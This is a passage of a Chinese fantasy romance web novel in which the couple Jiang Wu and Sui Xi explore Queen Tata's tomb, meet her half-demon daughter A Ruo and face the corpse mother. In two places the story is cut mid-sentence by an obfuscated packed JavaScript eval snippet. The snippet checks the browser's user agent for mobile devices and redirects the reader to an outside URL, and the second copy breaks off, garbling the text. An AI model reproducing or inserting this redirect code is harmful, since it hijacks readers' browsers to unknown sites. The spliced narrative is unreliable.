姜芜无奈地摇了摇头,她从陶俑中起身,带着一身水气走到了睢羲的面前,她抬手揭开后者封口的泥土,随即对女人说:“就这个吧。” 女人打了个响指,裹着睢羲的陶俑应声而裂,他浑身无力地坠进了姜芜的怀抱中。 女人见状暧昧的一笑,“祝你有个美妙的夜晚。”说完,裹着季易和沛然的陶俑便重新将二人拢进不见天日之中。 姜芜半搀半抱着睢羲顺着墓道中的石阶走了下去,石门缓缓地在二人身后合上,遮挡住了笑语相送的女人。 “睢羲,你能不能自己走?你真的很重。”姜芜顺着石阶走了近一半的路程,她气息有些不稳,索性靠在了石壁之上,“你若是自己走,我们还能有精力看看四下是否有机关,或者是有关于人面鬼的线索。” 睢羲将自己全部压在姜芜的肩上,用戾气将她身上的水气烘干,语气冷淡地问道:“怎么?这点重量都忍受不了吗?当初不是背着商扶庭走出了无幻之境吗?” 姜芜挑眉,心中也能想到睢羲吃味的缘由,她轻笑一声,转身倚靠着墙壁休息,顺便将睢羲拢到了身前,“那次啊,你居然还记得,我都忘了。那次身子好啊,这次不行了,而且你的身量还比他重那么多,我走到现下已经很厉害了。” 睢羲闻言抬手将自己撑了起来,从纳袋中取了一双鞋子放在姜芜面前,“我忘记了。”说完,他释放出了一些戾气去探查整条石道。 “除了尽头有一间石室,这条墓道似乎没有任何的机关,非常安全。”睢羲说,“一切行事要小心谨慎,这个地方很特殊,我们能使用的戾气并不多,进入无字碑之后,大概是因为龙血禁制的原因,戾气运转便有些凝滞。” 姜芜思忖了片刻,随后对睢羲说:“能使用的戾气并不多,那可以帮我做一个幻术吗?” 睢羲问道:“什么?” 姜芜抬眸望进睢羲的眼眸之中,两人呼吸交融,距离之近能听到彼此的心跳声,但是她却觉得有些难以启口。 姜芜靠进睢羲的怀中,双手环着他的腰,选了个折中的说法,“我们之前似乎都没有谈过这个事情,薇薇告诉我,修罗一般用黑荆藤避子,看来这些年都是你在用,怎么都不同我说?” 睢羲闻言顿时心中了然,又想起他们在进入石道前所发生的事情,他伸手抚上了姜芜的小腹,在那处做了一个能够迷惑所有人的幻术。 “黑荆藤留下的腐痕好得很慢,而且在愈合之前都会有疼痛感,你很怕疼。不过,这种事情无所谓了,争论也没有什么意义。” 姜芜伸手抚了抚自己的小腹,这种感觉很奇特,睢羲的幻术做得天衣无缝,连她自己都觉得是真的。 这件事情,姜芜从未开口提过,她自幼跟在母亲身侧,通晓得都是有关于人族蔚然成风的习俗,昼出夜伏、一日三餐、秋收冬藏、繁衍生息,所以她也习以为常。 姜芜的母亲为了人族繁衍生息一事也是殚精竭虑,而她在遇见睢羲之前也会帮忙看顾那些出生不久的婴童,她也曾好奇地问过,这是一种怎样的感觉,母亲会慈爱地摸着她的头发,并告诉她以后如果遇到合适的人也可以体验一番。 母亲曾经告诉过她,生命长短不论,都不必循规蹈矩,重在体验。 曾经也有人族向她求爱,想与她共度一生,捧着从山野间采来的鲜花,披着满天的霞光,俊朗的脸上带着羞涩的笑容,一步一步坚定地走到她的面前。 姜芜不懂这些,每每遇到这种场景总觉得无措,她六神无主地回头去看母亲与舅舅,总引来一些他们的哈哈大笑。 不了吧。 这句话,姜芜说了很多次,也说了很多年。 睢羲也曾经用这句话拒绝过她。 那日,姜芜照本宣科,同样捧着万山遍野采来的鲜花捧到睢羲面前,听到这句话时,之前她所看到的失落出现在了自己的脸上。 要的要的。 那便试试吧。 一试便是这么多年。 斗转星移,沧海桑田,人族都更迭了好几代。 他们还是一直在一起。 不过,母亲和舅舅这次没有笑,而是神情凝重地看着她,姜芜似乎在他们的眼里看到了失望与无奈,以及对睢羲的质疑、不信任和惶恐。 她也会有一刹那的难过与不解。 她不懂为何这次她主动选择的人,却得不到母亲与舅舅的祝愿。 但是在她看到睢羲之后,愁苦便只有烟消云散的份,剩下的都是满心满眼的喜悦。 “你之前有想过吗?” 姜芜觉得现下在冰冷陈腐的墓道中谈论这些有些不合时宜,而且未来不定,谈论这个无异于屠门大嚼。 “想过何事?” 睢羲预备起身去看姜芜的神情,却被她按住了后腰。 “别看我。”姜芜在睢羲的怀中磨蹭了片刻,心中悲伤无尽,“你就跟我说说,你想没想过。” “没有。”睢羲低头吻了吻姜芜的头发,“虽然我之前说过,我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780869|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以给你任何想要的东西,但是现下……唯独这个不行。” “是我思虑不周了。” 睢羲说:“不是你考虑不周,是我自私,方才我想了很多,若是随了你的愿,以后谁来护你们?而且……算了,让我走得安心一些。” 姜芜忽略了睢羲的欲言又止,只是伸手抱紧了他,轻声问道:“你不想活了?” 睢羲长叹了一声,思忖着该如何同姜芜表达才能让她知晓并尊重自己的选择,他不清楚姜芜现下是因为习惯使然,还是因为真心实意,不过这些都是他不该顾忌与考虑的,现下惟愿姜芜能好好活着。 姜芜能够好好的活着,便是睢羲最大的心愿与遗愿。 “你要好好的。” 姜芜倏地抬头看向睢羲,她的双眸中迸发出一种奇异的光彩,语气也异常的激动,“要不然,我们一起吧。” 睢羲蹙眉,他伸手推开姜芜,“说什么傻话?这件事我也不能答应你。” 姜芜的后背撞到坚硬且冰冷的石壁上,疼痛让她心中的怪异逐渐平复了下来,她垂着双眸穿好鞋子,神情平淡地说:“ 那我们便去石室里看看吧,或许能有意外收获,最好能找到突破龙血禁制的方法。” 睢羲伸手牵过姜芜向墓道尽头的石室走去,“以后不要再说这种话,姜芜,还有一句话,你要记住。” 姜芜快步跟上了睢羲,“你说。” 睢羲偏头看了姜芜一眼,神情冷淡地说:“我若是死了,你必须活下去,倘若你心里还有我,你若是死了,我绝不独活。” 姜芜心中一颤,面上淡淡地应了一声,“你干嘛如此决绝?说心里没你,你又不信,说心里有你,要与你同生共死,你也不允,没见过你这么难伺候的人。” 睢羲轻轻地笑了一声,“我活了这么久,同你在一起了这么久,不曾让你允诺过什么,这次你便让让我吧。” 姜芜神情怔愣地看着睢羲,脚下难免落后了几步,睢羲便停下来等着她。 “怎么?” 姜芜发出一阵苦笑,她上前跳到了睢羲的后背上,咬着他的耳廓说:“洞房花烛夜,新娘子脚不能沾地的,都是新郎官将新娘子背到新房的,快点,背我过去。” “好,你要抱紧了。” 睢羲稳稳当当地背着姜芜,长长久久地向前走着。 墓道有长短,睢羲背着姜芜的路只长不短。 姜芜把滑落出来的眼泪擦到了睢羲的衣服上,墓道中很静,她声音再小也犹如惊雷。 “你不知道荆州那次我有多害怕。” 姜芜说着拢着睢羲脖颈的双臂圈得更用力。 睢羲无言,默不作声地把姜芜背进了石室之中,然后将她放在唯一的一张石床上。 姜芜从纳袋中翻找出一方红色的头巾,扬手盖在了自己的头顶上,红色的流苏垂下遮盖住她的视线,“他们有的,我也想要。我之前都是跟着母亲长大,看过他们举办过很多大大小小的婚事,我很羡慕,也很向往。” 睢羲心中动容,神情却无比的悲伤,他同姜芜只有相互许下的誓言,除此之外,人族所有的,他们都没有。他早应该察觉到姜芜的心思,但是他没有往这方面想,觉得姜芜同他一样,认为这些锦上添花的东西不重要。 与他们之间的感情相比,这些确实不重要,但是姜芜想要,她想要得更多更热烈。 睢羲伸手挑起姜芜的红喜帕,顺势捧住她的脸,轻轻地碰了碰她的双唇,“是我的疏忽,如此简陋,太委屈你了。” 姜芜脸上露出了一个满意的笑容,她凑上前回吻着睢羲,“谢谢,我今天很开心,也很满足。一点都不委屈的,天时地利人和,我觉得刚刚好。”说完,她接过睢羲手中的喜帕收进纳袋中,并将白玉簪取出来将长发挽好。 “好了,准备做些正事吧。” 姜芜在这个石床上摸索了起来,提拉那拉草原的部落更迭过快,有些部落甚至没有留下任何的文字记述便卷进了无尽的黄沙之中,若是想从那些只言片语之中找到符合墓主人身份的文字简直难如登天。 但是,既然有时间和精力去修建墓室,立无字墓碑,甚至与苍旻有了牵扯,而不是扔进草原,随意让马匹踏平,亦或者是天葬送身,墓主人必定是一个存在有段时间的部落首领,最可能的便是塔塔女王统一草原之后,各部落之间再无纷争,而多余的精力便可以修书立撰。 “这个石室看起来没什么特别的。”睢羲盯着姜芜看了片刻,让自己尽快从方才的感情中脱离出来,随后他走到角落,强制自己翻看起那几只土陶器,“看起来就像是一般的陪葬物,很难看出墓主人的身份。而且这些土陶器,最多的便是多了彩绘,基本不会有铭文之类。” 姜芜觉得手下的这个位置声音发空,觉得底下可能有暗道之类,她回头看了睢羲一眼,随后借了一些灵气,一掌拍碎了掌下的石板。 睢羲被突如其来的声音震得惊了一瞬,他转身快步走到姜芜身侧,同她一起看着石床上的裂口。 裂口内黑漆漆的一片,而且垂直向下,呈现出一个竖井的模样,两侧石壁崎岖,带着一点人工开凿的痕迹。突然,一个表情呆滞的陶俑出现在裂口处,随后缓慢地探了上来,它脸上的油彩氧化成灰白色,没有了往日的浓艳,反倒多了几分滑稽和呆滞。 陶俑探上来静静地看了姜芜和睢羲片刻,瞬间钻入竖井中消失不见。 “睢羲,你方才看到那个东西了吗?死物也能动得这么快吗?” 101. 暗情 睢羲应了一声,对此也是百思不得其解,“或许有东西寄生于其中,就像那些人面鬼,我去探路,下面安全之后,我再来接你。” 姜芜见睢羲准备下竖井,便伸手将他拉住,“下面情况不明,看起来很危险,我同你一起吧。” “正因为如此,所以我先下去探路,最起码这里比较安全,你待在这里不要动。”说完,睢羲安抚性地拍了拍姜芜的手,随后顺着竖井滑了下去。 姜芜没有拦住睢羲便也只能放弃,她俯身摸了摸竖井两壁,觉得还算是坚固,不至于在短时间内坍塌,心中便也松了口气。 喀喇。 喀喇。喀喇。 喀喇。喀喇。喀喇。 姜芜朝着声源看去,只见那一堆陶器碎片正在此起彼伏的蠕动着,但是瓷器是死物,自然不会动,必定是有活物在其中搞鬼。 姜芜眼神一凛,挥袖朝着那堆陶器扫去,一只黑色似人影般的东西从瓷器堆中蹿了出来,直扑向石床上的姜芜。 姜芜唤出无心乱,甩鞭抽向那道黑影,接着她便察觉到身下的石床一震,不等她反应,石床瞬间一分为二,向一张突然张开的大口,直接把姜芜吞了进去。 黑色人影扑过来直接撞到了合上来的石床表层。 姜芜调整好姿势,顺着竖井迅速下落,无心乱螺旋着鞭身,护在她的周身。 竖井的末端离地面还有一丈远,姜芜甩动无心乱勾缠住竖井,随即缓缓落地,她抬眸看向四周,正北方有一面紧闭的石门,两座镇墓兽立于石门左右两侧,雕刻的是凤凰踏龙的模样。 姜芜四下看了看,并没有发现睢羲的身影,立刻掐诀感应他的动向,她在睢羲左肩上留下的那个小法术,目前毫无异常,也就是说明睢羲现下平安无事。 姜芜心中泰然,她抬头向头顶的黑暗处看去,只能看到如同蜂巢一般的石顶,她极目望去,只能看到错综复杂的内里,而她只是从其中一条掉到了墓门口。 姜芜想着睢羲既然现下无事,她便先去墓室中看看,毕竟这种墓上建墓的格局在人族风水局中来看是为大凶,除非选址者与墓主人有大仇,亦或者上墓者与下墓者有仇,非要在人死后的长眠之地建墓,使人死后永不安宁,子孙后代彘子绝代。 姜芜也有些好奇这其中有什么因缘故事,导致如此的深仇大恨,她想起格力特部落那位老者所言,觉得面前这个墓很有可能是塔塔女王的墓。 姜芜整了整自己身上的衣服,随后朝着墓门走去,墓门上挂着一只石匾,上面写着灭妖殿。 姜芜蹙眉,她偏头看向一旁石雕的镇墓兽,仔细地去看雕刻出来的凤凰与苍龙,她突然发觉自己认得这条苍龙。 姜芜走上前,伸出手抚摸着那条龙首,这条苍龙的模样完完全全是照着苍旻的原身所雕刻,而此时却被凤凰踏于足下,墓室又被命名为灭妖殿,恐是墓主人与苍旻之间还有一段不为人知的渊源。 姜芜伸手推了一下灭妖殿的正门,发觉难以推开,也不打算出手用蛮力破坏,扰到塔塔女王的清净,于是她抬手点了一下墓门,坚硬的石门顿时似水一般荡开一圈圈的涟漪。 姜芜直接穿门而入,进入墓门以后是一条幽深的走廊,两侧绘着栩栩如生的壁画,因为无人造访过,所以壁画还保留着较为鲜艳的色彩。 姜芜一边往主墓室走去,一边看着两侧的壁画内容,更加确定了墓门处被踩踏于凤凰足下的就是苍旻,因为壁画中也出现了一条银龙的踪迹。 苍旻的原型虽为一条银龙,但是他银色鬃毛的尾端总会闪烁着赤火色的光芒,这一特征也在壁画中体现的淋漓尽致。 壁画的内容无外乎都是一些塔塔女王的丰功伟绩,她一头金黄色的长发,身披战甲,带领着一群骁勇善战的士兵,统一草原与沙漠中的各个部落,最终来到了一条银龙面前。 塔塔女王与银龙之间战争,壁画中没有给出任何的结果,反倒是绘出了塔塔女王死后的场景。 塔塔女王幻想着死后因生前功德无量,羽化成仙,被封为战神,所以壁画的最后便是她成仙后的模样,金黄色的头发高束,银甲金枪,身后展着一双赤金色的凤凰羽翼。 姜芜知晓这只是塔塔女王对自己死后生活的一种向往,而并非她真的成神。 姜芜站定在壁画最后塔塔女王的成神画像前,看着后者的等身像,忍不住有些唏嘘,不知晓塔塔女王追求成神的原因又是为何,是为了巩固自己的政权,还是为了灭妖龙,亦或是其他的。 “你是谁?为何出现在此处?” 姜芜余光处看到一抹由远及近的烛光,正准备甩鞭却看到了随着烛光而来的女子,后者年纪看起来并不大,但是身上气息复杂,模样长相与壁画上的塔塔女王有着七八分相似,但是姜芜被睢羲封了心脉与戾气,一时之间难以察觉出来者气息复杂的原因。 阿若上下打量着姜芜,她常年待在墓中,肌肤似雪,少见血色,金发编着简易的发辫,身上裹着破旧的兽皮来抵御地底的寒冷。 “我是商人,与夫君不慎落入此地,寻不得出路,你知晓哪里可以出去吗?” 阿若的目光放在了姜芜的小腹上,神情讶然,“你有孕了?是如此进入到此地的?是遇到了什么难处吗?” 姜芜蹙眉,觉得面前的姑娘心思过于的单纯,心中便有了一计,“听姑娘的意思,很多人都来过这里吗?” 阿若点了点头,“不过他们都为了母亲的金银财宝,全都被拦在了墓室之外,你是第一个进来的,你是如何进来的?” 姜芜半真半假地道:“我也只是因为意外,被一种黑色的人影赶到这里来的,误打误撞进入此地,不是有意扰你与你母亲清净的,方才你说你的母亲是塔塔女王对吗?” “对,母亲只剩我这一个女儿了。”阿若好奇地看着姜芜,“你刚刚说的黑色人影,那是什么东西?有些像我梦中的怪物。” 姜芜摇了摇头,她伸手碰了碰阿若持灯笼的手,皮肤温热,触感柔软是活人无异,“我也不清楚,既然你是活人,为何要待在墓室之中。” 阿若神情委屈地看着姜芜,“因为我总是在做一些很可怕的梦,但是在母亲的墓中便会一夜好眠,外面已经没有我的亲人了,索性便在这里一直陪着母亲,对我来说也不是一件坏事。” 姜芜看着阿若,塔塔女王少说也已经离世近四百年的时间,而面前的女子自称是塔塔女王的女儿,怕是已经并非凡人那么简单。 姜芜想到此处心中有了一个大胆的猜测,她转头看向了一旁的壁画,引着阿若用灯笼去照墙上的笔画,指着其中的银龙问道:“这个你认识吗?” 阿若盯着银龙看了片刻,随即摇了摇头说:“我并不清楚,母亲在外征战时我并未出生,或许我的哥哥可以给你答案,但是他已经死去很多年了。” 姜芜问道:“这么多年,你便没有想着出去吗?一直待在墓中?” 阿若摇了摇头,笑容恬静又温柔,“我已经习惯了,倒是你,墓中阴气重对你的身子不好,我送你出去吧。” “我与我夫君走散了,估计他也在墓中。”姜芜说着伸手抚上了自己的小腹,声音委屈发颤,“有人在你母亲的墓上又建造了一处墓,被世人称为人面鬼,尸母将我们捉来,要对我的孩儿不利,将我关在了上方的一处墓室内,我被一个黑色人影般的东西赶到了此处,你能帮我找找我的夫君吗?” 阿若蹙眉,神情不解地看着姜芜,“尸母是何物?为何要在我母亲栖身之地建墓?简直可恶,你别怕,我带你去找你夫君,然后将你夫妻二人送出去,然后我再去找他们算账。”说完,她便换了一只手提灯笼,空出来的手去牵姜芜的手。 姜芜问道:“你不害怕吗?人面鬼,人面鬼,那可是怪物。” 阿若笑着说:“我不怕,有母亲的无字碑在,什么妖魔鬼怪都不能放肆。” 姜芜心中了然,看来睢羲三人无法在此处随心所欲的使用戾气便是苍旻的缘故,因为有苍旻的骨与血,所以此处相当于一个小心的结界,为得大抵是给塔塔女王守一片净土,若是如此,怕是这龙血禁制只有打破无字碑才能解开。 阿若提着灯,拉着姜芜在墓道中穿梭起来,唯独避开了主墓室。 姜芜跟在阿若身后走遍了塔塔女王的墓室,她藏在广袖中的手掐诀寻着睢羲的踪迹,待她察觉到熟悉的气息出现在主墓室时,却不知晓为何睢羲会进入到其中。 阿若寻人的路线却一直在避开主墓室,姜芜觉得自己需要想个办法,把她的消息告诉睢羲,让他从主墓室出来,或者她们进入到主墓室中。 姜芜随着阿若绕着左右而是转了两圈,睢羲依旧在主墓室中没有任何动作。 阿若气喘吁吁地对姜芜说:“你确定你的夫君在这里吗?” 姜芜上前抚了抚阿若的后背,安抚道:“别急,你若是不介意的话,能否带我到主墓室里看看?若是他不小心误入其中,早些找到他,我们也能早些出去,不耽误你与你母亲休息。” 阿若闻言觉得姜芜所言有理,但是她并不知晓如何进入主墓室,便与姜芜如实道来。 “我也想,但是我不知晓该如何进去。” 姜芜勾唇一笑,她拉着阿若来到了主墓室门前,用先前的法子抬手点在了主墓室上,厚重的石门顿时变得透明,“我有法子,但是擅自进入不合礼数,你若是觉得并无不妥之处,我便觉得好处理了,你要进来看看你的母亲吗?” 阿若震惊地瞪大了双眸,她甩开姜芜的手,质问道:“你是何人?为何能在此地使用法术?” “只能用一点而已,再多的便也做不了什么了?”姜芜半个身体踏入了石门中,并朝着阿若伸出了手,“你要进来吗?不进来的话,我进去你可进不来了。” 阿若咬牙握住了姜芜的手,随着她进入了主墓室。 “你的目的是否就是为了我母亲的陪葬品,方才说的那些根本便是骗我的,你根本没有什么夫君,孩子是不是也是假的?你从头到尾都是骗我的!你这个骗子!亏我还好心带你找夫君,还要将你们送出去!” 姜芜被阿若吵得头疼,看到睢羲的那一刻便开口道:“夫君。” 姜芜松开阿若,朝着睢羲快步走了过去。 睢羲闻言从水晶棺上收回了视线,迎着姜芜将她拢进怀中,轻声问道:“让你担心了,我下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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睢羲的唇角浮现出一丝笑意,他拍了拍姜芜的手,“塔塔女王是自戕,不是死于疾病亦或者意外。” “没听说过苍旻的后宫出现过这种情况啊。”姜芜展平手指,揉了揉自己掌下的皮肤,“到底还是草原上的烈马,受不了多女共侍一夫,今夜与你交颈而卧,甜言蜜语,明夜同样的话便会对不同的人说。” 睢羲看向姜芜的眼神中流露出一丝不解。 姜芜见状随口调侃道:“就像是我把对你说过的话,说给了段怀野听一样。” 睢羲迅速抬手掩住了姜芜的双唇,神情凝重地说:“不准。” 姜芜顿时笑弯了双眸,她的余光扫到用来做巨龙眼眸的两颗红宝石,面上的笑容突然一僵,她觉得那两颗并非是红宝石,而且被古墓阴气滋养出来的血太岁,而巨龙的眼眸原先未必是宝石,而且某种珍贵的木料,所以才会养出如此漂亮的血太岁。 “睢羲,定住阿若。” 睢羲有些不解地看向姜芜,他在开口问缘由之前,率先用戾气将阿若定住,“怎么?” 姜芜甩出长鞭颤在了巨龙的龙爪上,随即将自己荡了上去,她靠近龙目的位置,仔细辨认着从中长出来的血太岁,随即大喜过望,她迅速斩下了那两颗血太岁,飞身落到了睢羲身侧。 “太好了,真的是血太岁,具有医死人,肉白骨的作用,你的伤或许有救了。”姜芜欣喜若狂地说,“没想到,我们能在这个墓中有如此奇遇,真的是太好了。” 睢羲看着姜芜手中的两颗肉太岁,心中松了一口气,若是这些肉太岁真的能治好他的伤,姜芜便不用一意孤行地封印无幻之境,这样不仅她能活着,无幻之境的修罗也能远离疯癫之症,时间再长久一些,或许他们也会与从前一般,别无二致。 姜芜抬眸笑语盈盈地看着睢羲,一股心酸苦楚涌上心间,她将血太岁收进纳袋之中,随后伸手拥住了睢羲,“太好了,真的是太好了,没有比今日再好的了,我真的好高兴。” 睢羲回抱住姜芜,将她按在自己的怀中,他已经很久未看到姜芜笑得如此轻松的模样了,若是可以,他希望姜芜可以一直这般,无忧无虑,无事烦心,无事乱心。 阿若只觉得有一瞬间时间被拉长,她缓步走上前,看着水晶棺中与自己有着七分像的塔塔女王,双眸控制不住地蓄满了泪水,她是马背上长大的孩子,看到的只有母亲的背影,从未感受过母亲怀抱的温度。 今日是阿若第一次如此近距离地看着自己的母亲,她是那样的年轻,那样的漂亮,又是那样的死气沉沉,她绞尽脑汁都没有想起有关于母亲与她一丝一毫的温馨记忆。 阿若觉得自己应该哭一哭的,但是她起身擦干了脸上让她觉得莫名其妙的眼泪,随即对姜芜二人说:“我带你们二人出去。” 睢羲算了算时辰,现下也差不多该天亮了,便牵着姜芜跟在了阿若身后。 姜芜笑着开口问道:“姑娘,还不曾问过你叫什么名字。” “我叫阿若。”阿若在主墓室门前停下,“我们该如何走出主墓室?” 102. 往生 姜芜抬手轻点墓门,整个墓门直接变成了透明状,隐约能看到主墓室外的情景,“这样便可以直接出去了。” 阿若蹙眉,“你为何能在这里使用法术?你到底是谁?” 姜芜脚步轻快地拉着睢羲往外走着,声音带笑,“能用得并不多,毕竟有龙血坐镇压着,也只是能用一点,不至于到寸步难行的地步。阿若姑娘,你要跟上来哦。” 睢羲捏了捏姜芜的手指,低声道:“那姑娘奇奇怪怪的,没有食物与水却能在地下待这么久。” “半妖嘛,不能以普通人看待,她以为自己在这里待了不过数日,其实外面早已经过了百年也未可知......”姜芜脚步一顿,她看着面前突然出现的黑色人影,面色一变,握紧了手中的无心乱,“这些东西终于想到办法进入到墓中来了吗?” 主墓室之外站了一片黑压压的黑色人影,层层叠叠,像是一支训练有素的军队。 阿若面色一僵,她神情惊恐地后退了一步,“这些......这些怪物为何出现在这里???” 姜芜挥鞭甩向面前的黑影,无心乱的长鞭扫过那些黑影的身体,也只是使得它们的身形扭曲了一瞬,随即便恢复如初。 “阿若,你认得这些东西吗?” 阿若疯狂地摇了摇头,“我不认识,但是他们经常会出现在我的梦里面,它们想害我,但是我同他们无冤无仇。” 阿若的话音刚落,那些黑色的人影便蜂拥而至,直奔她而去。 阿若尖叫一声,转身便往主墓室跑去,姜芜迅速挡在前方,她反握无心乱,往其中灌入一丝灵力,以剑尖画阵抵挡那些黑色人影的前进。 姜芜开口问道:“阿若,从哪里可以出去?” 阿若大喊道:“就在你出现的地方,在我母亲的等身像上方,我便是从那处进来的,是一个修陵墓的工匠同我讲的。” 睢羲闻言伸手把姜芜拉至身后,手中聚起一团漆黑的戾气,挥手将面前的黑色人影冲开,随即对二人道:“走!” 阿若见那些黑色的人影瞬间消散不见,立刻快步跟上了姜芜二人。 三人很快便来到主墓道里塔塔女王成神后的等身像面前,阿若上前对着母亲的等身像拜了三拜,随后将自己的手掌按在枪尖的位置狠狠地一抹,鲜血很快将其染红,随着一阵机关声响,三人头顶的正上方打开了一道暗门。 黑色人影很快聚集在一处,张牙舞爪地朝着三人冲了过来,他们奔跑的速度很快,周身带着一阵非常奇特的声音,像是金属甲片相互摩擦的铮铮声,仿佛穿在它们身上的是行军打仗的盔甲。 睢羲见状提着姜芜的腰将她托向了暗门处。 姜芜也将自己探寻的目光收了回来,她进入暗门之后,随后将无心乱的长鞭放了下来,“阿若,这里有些危险,你暂时先同我们一起走。” 阿若看了一眼身后紧追不舍的黑色人影,犹豫不决地抬眸看了一眼暗门中的姜芜,随即伸手握住了无心乱的鞭身。 姜芜直接将阿若拉了上来,随后又重新将长鞭甩下缠住睢羲的腰身,将他一同带了上来。 睢羲进入到暗道之中,使用蛮力将暗门关闭,随后抹上无心乱的剑身,将自己掌心中的鲜血涂抹在了暗门的缝隙之中。 阿若看着那些涂抹过鲜血的地方散发出了嘶嘶的腐蚀声,就像是倒上了浓硫酸一般,她越发地对二人的身份好奇,不禁开口问道:“你们究竟是何人?真的是商人吗?而且方才那一番,你的身子无碍吧?” 姜芜闻言抬眸看了睢羲一眼,随即笑着说:“这个不重要,我们没有害你的理由,你先跟着我们走。” 阿若迟疑了片刻,最终还是跟上了二人的步伐。 此处并非是一处竖井,它同与墓道平行,三人行进起来还算是容易。 季易勤勤恳恳地立在尸母身后,双手或轻或重地揉捏她的双肩,“尸母,这个力道还可以吗?要不要再重或者再轻一些。” 尸母笑着说:“不必了,你这个孩子真是孝顺啊。” 沛然跪坐在一旁,垂眸挑选着葡萄,将所有的叶梗祛除,只留下颗颗饱满圆润的葡萄,然后端着盘子奉到了尸母面前,“母亲,请吃葡萄。” 尸母神情慈爱地笑着,她将盘子放在一旁,给季易和沛然一人分了一颗葡萄,“好好好,你们都是母亲的好孩子。这葡萄母亲不吃,你们拿去吃吧,多吃一些才能好好地长身子。” 季易闻言笑着说:“谢谢尸母!” 睢羲击破墙壁而出,他起身看了一眼围在尸母身侧的季易和沛然,眉心微不可查地一拢,随即俯身把姜芜从暗道中扶了出来。 季易见状立刻挡在了尸母面前,厉声问道:“你是什么人?!” 沛然看到睢羲之后面色瞬间阴沉了下去,他特意用陶俑将二人引走,却不曾想到他们居然又找到回来的路,若是他们能够死在下面的墓穴之中,那么他们便能永远地拥有这副身体,不会再有人来向他们寻回身体,他们便可以永远地同母亲在一起了。 尸母起身拍了拍季易的肩膀,温声道:“好孩子,没事的,他们是母亲的客人。” 季易神情不解地看着尸母,一双眸子温良地看着尸母,然后扬唇笑了起来,“既然是母亲的客人,那也是我的客人,我一定会好好待他们的。” 尸母一脸惊喜地看向姜芜,她走上前伸出手预备抚摸她的小腹,却被睢羲伸手拦了下来。 尸母一愣,随即了然如心,“我懂我懂,这女子初有孕,男人看得紧是正常的,现下你能......” 尸母的话未曾说完,她看着跟在姜芜身后爬出暗道的阿若,顿时声音凄厉地尖叫了起来,她神情惊恐地指着阿若,“你为何?你为何还活着?!你为何还不死?!!你把我们害成这个样子还不够吗?!” 阿若看到尸母怪异非人的模样也跟着尖叫了起来。 姜芜见状有些头疼地捂住了自己的双耳,“这也太刺耳了。” 睢羲伸手把姜芜按在了自己的怀中,抬手打了个响指。 阿若顿时便觉得面前的怪物不再那般的恐惧,神情诧异地看着尸母,伸手指着自己不解地问道:“我吗?我为何要死?” 尸母气急,她紧绷着脸看着阿若,牙齿咬得咯咯作响,面上铁青色的皮肤看起来无比的扭曲,季易和沛然见状立刻上前,一左一右地将尸母搀扶住,并关切地嘘寒问暖。 尸母手指颤抖着指向阿若,扭头对姜芜说:“你……你帮我杀了她!只要你帮我杀了她!我便告诉你解除附体的法子,还告诉你那个法阵的具体位置!” 姜芜扫了一眼神情空白的阿若,追问道:“为何?你和她有何渊源?为何要我杀她?而且这同我有没有孩儿似乎并没有直接干系。” 尸母咬牙切齿地恨着,“怎么没有干系?!她杀了我的孩儿,你说她该不该死?我说我只要你有了孩儿才会明白我的所作所为,若是你的孩儿被杀了,你会不会报仇?” 姜芜颔首,“自然,但你总要将来龙去脉说清楚,我不能平白无故便杀死一个人。” 尸母闻言冷了脸,她冷哼一声,“我们这是交易,你只知晓我能给你何物,你能帮我做何事便足够了!其余的,不需要知晓过多!” 姜芜蹙眉,她回头看了一眼金色长发的阿若,试探地开口问道:“你与塔塔女王有仇?” 阿若神情局促地站着,她根本不认识面前的多头怪物,现下腹背受敌,前进或后退都有想要对她不利的人,唯一能够救她的似乎只有面前这对来历不明的夫妻。 阿若想到此处便往姜芜身后藏了藏。 姜芜不言不语地看着尸母,她握紧了手中的无心乱,却发觉脚下一阵颤动,她险些站立不稳。 睢羲迅速把姜芜护在怀中,他抬头向上看了一眼,“是百衢,他破坏掉了那方无字碑。” 姜芜一惊,迅速抬手扯住了睢羲的袖子,“把我把幻术解开!” 睢羲垂眸看了姜芜一眼,虽然不知晓她如此惊慌的原因,但依旧解开了她身上的幻术,“别怕,他不会对你如何的。” 季易搀扶着尸母,神情惊慌地问道:“尸母,这是……这是怎么回事啊?” 尸母拍了拍季易的手,安抚道:“别怕,别怕,乖孩子,娘亲会保护你们的。”说完,她便将季易与沛然一同揽在了怀中。 “怎么回事?究竟发生何事了?” 阿若的话音刚落,一道来自地底的冲击力猝然冲破了一切,湖水迅速倒灌,顷刻之间一切全部崩塌。 睢羲察觉到戾气突破禁制,立刻拥着姜芜跃出了湖泊。 百衢得意洋洋地对宿凌薇说:“我说吧,只要毁掉那方无字碑,他们便能够出来。” 宿凌薇睨了百衢一眼,懒得搭理他,她见姜芜从水中出来,立刻迎了上去,待看清楚后者身侧的睢羲时,脚步慢了下来。 宿凌薇面上的神情逐渐复杂,尽量让自己的神情看起来如平常一般,“濯濯,你怎么样?还好吗?” 尸母抱着季易和沛然跃到了岸边,她看到那对出现在岸边的年轻男女,立刻将怀中的孩子护在了身后,神情警惕地盯着几人。 “你们是谁?为何闯我尸国境?” 姜芜看到宿凌薇双眸中闪过一丝惊讶,她点了点头,随即起身甩出了无心乱,把阿若带了上来。 湖水被百衢的戾气蒸发,露出深不见底的空洞,其中空无一物,无论是精美的壁画,还是工程浩大的砗磲巨龙,亦或者是塔塔女王犹如生前的尸首,顷刻之间,全部都化为乌有,不见痕迹,无字碑也碎裂倒塌,从其中流出了鲜红的龙血。 